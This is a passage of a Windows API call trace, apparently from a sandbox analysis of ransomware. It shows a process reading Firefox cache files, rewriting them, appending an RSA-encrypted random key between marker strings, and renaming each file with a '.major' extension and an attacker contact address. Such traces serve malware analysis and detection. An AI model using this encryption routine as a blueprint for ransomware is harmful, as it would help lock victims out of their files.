out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.282] CloseHandle (hObject=0x1b84) returned 1 [0288.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.282] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0288.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3d10 | out: hHeap=0x570000) returned 1 [0288.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee33c8 | out: hHeap=0x570000) returned 1 [0288.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3d10 [0288.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0288.285] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.285] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", dwFileAttributes=0x80) returned 1 [0288.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee33c8 [0288.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee33c8 | out: hHeap=0x570000) returned 1 [0288.285] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.286] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1147) returned 1 [0288.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47b) returned 0x66e948 [0288.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47b) returned 0x2f3e850 [0288.286] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x47b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x47b, lpOverlapped=0x0) returned 1 [0288.387] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.387] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x47b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x47b, lpOverlapped=0x0) returned 1 [0288.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0288.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0288.387] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x47b [0288.387] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.387] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.388] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.388] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Vy8j9XxuxzaZpLqMK7OgCYa5afwZMrJvFnJ4ucLOvTmEBnoE4q2uoCRNZNn9yTgd\nzSTsFJd6Fk/Ea/PokYOk8mHNLWButk2rDbGLBI3hPh5S30XnoPy7JVLsNWM1PH+K\n5Bf8wLNjDI4y4SNT77O1zm5CEeOkzEmtp7KDh8pSUj9cXm1QlJD8g2h25xXaoJh0\nLRrNIgrWsW1l/OH1y40Zwq/A6dveyNihkrSzNgjw6L2XXq147nl0ABg03GkxmdmW\njtLXZ7s6yjTUQz7enyJkWvVFj7wELJtYY8iHIl1viZYv/A2J9hqtwY6iMQBB//XI\nR5PVlXpbbTvn70Xjo3r7sQ==\n", pcchString=0x2e3f9a8) returned 1 [0288.388] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.388] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.388] CloseHandle (hObject=0x1b84) returned 1 [0288.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.388] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0288.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3d10 | out: hHeap=0x570000) returned 1 [0288.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2fa8 | out: hHeap=0x570000) returned 1 [0288.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3e18 [0288.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0288.391] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.391] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", dwFileAttributes=0x80) returned 1 [0288.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2978 [0288.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2978 | out: hHeap=0x570000) returned 1 [0288.391] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.392] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=15528) returned 1 [0288.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ca8) returned 0x3437008 [0288.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ca8) returned 0x2f39028 [0288.392] ReadFile (in: hFile=0x1b84, lpBuffer=0x3437008, nNumberOfBytesToRead=0x3ca8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ca8, lpOverlapped=0x0) returned 1 [0288.687] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-15528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.687] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x3ca8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ca8, lpOverlapped=0x0) returned 1 [0288.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0288.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0288.687] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ca8 [0288.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.688] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.688] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.688] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IOaJibE4L63usSSDe1NEeHHuMHH1i6Pw03uP+S3G3c29X9asxwvnrH8HRXAo0CbM\nSwt/qiE0BmwdThx5cZrHbXrRuXLm19tWuna9OiQSJeH7m0VaQfzGL7Whbr3KP248\nBv6yhN+8XI3DYDC0r2AqQ6W5GdwonmeqFKwR2e4L+RRVDVMavdHCvFJ7mfMzDdHm\ny5fCYQaNswxLl2+Ov+uddATe6Kh3TURe377Tb6bQaA/i8T7A/Qm0wsp4TX7RjsAY\n9Qlh8cKCMyflntu5K2PzFMfBysgXT1PSBQTGl56Xd9as3kdjvjp5qiFEzvr9zxEP\nAdXTgRO1JV8P53dKxsfOBA==\n", pcchString=0x2e3f9a8) returned 1 [0288.688] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.688] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.688] CloseHandle (hObject=0x1b84) returned 1 [0288.688] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.688] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0288.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e18 | out: hHeap=0x570000) returned 1 [0288.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3c08 | out: hHeap=0x570000) returned 1 [0288.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee38f0 [0288.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0288.691] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.691] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", dwFileAttributes=0x80) returned 1 [0288.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee33c8 [0288.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee33c8 | out: hHeap=0x570000) returned 1 [0288.691] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.692] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18450) returned 1 [0288.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4812) returned 0x343b820 [0288.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4812) returned 0x3440040 [0288.692] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x4812, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x4812, lpOverlapped=0x0) returned 1 [0288.830] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.830] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440040*, nNumberOfBytesToWrite=0x4812, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440040*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4812, lpOverlapped=0x0) returned 1 [0288.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0288.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3440040 | out: hHeap=0x570000) returned 1 [0288.830] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4812 [0288.831] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.831] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.831] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.831] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nww2i9UFYICHFu4uhAp0kif9PbsZfidWPY5/KKu8OFgBBdb23H37PKWw8Ot2/Qjm\n/fUX5n0iHPDQGAQ92lx0GnJf9wwahSbz6AFs8THwmCyqQQXClh37BGsZW/DQq4Pl\n0Z0JVKCnAfvdAGTquFOplmcY4VMzZ6et3l83xxYb0JEEJkylPi6KiMCgFaBcvzc9\nPJsWfzJUW1eVD0ca2zHkzny8SiNhzo6CufQZZ4WSAJkTP5QU5bUHIaOLHaJEA0TY\n3n9PTi3SW9Rh7vRZP8SgZ7mkCQNhSoaN/LszGqdh3t5mLwwzNIINM0XmlbLos2So\n2VLZYWuwZI3rvrCffOoSjQ==\n", pcchString=0x2e3f9a8) returned 1 [0288.831] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.831] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.831] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.831] CloseHandle (hObject=0x1b84) returned 1 [0288.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.831] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0288.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee38f0 | out: hHeap=0x570000) returned 1 [0288.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee32c0 | out: hHeap=0x570000) returned 1 [0288.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2978 [0288.834] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0288.834] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", dwFileAttributes=0x80) returned 1 [0288.834] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2b88 [0288.834] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2b88 | out: hHeap=0x570000) returned 1 [0288.834] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.835] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=435) returned 1 [0288.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b3) returned 0x57eca8 [0288.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b3) returned 0x581478 [0288.835] ReadFile (in: hFile=0x1b84, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1b3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1b3, lpOverlapped=0x0) returned 1 [0288.835] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.835] WriteFile (in: hFile=0x1b84, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x1b3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1b3, lpOverlapped=0x0) returned 1 [0288.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0288.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0288.836] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1b3 [0288.836] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.836] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.836] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.836] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.836] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.836] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.836] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 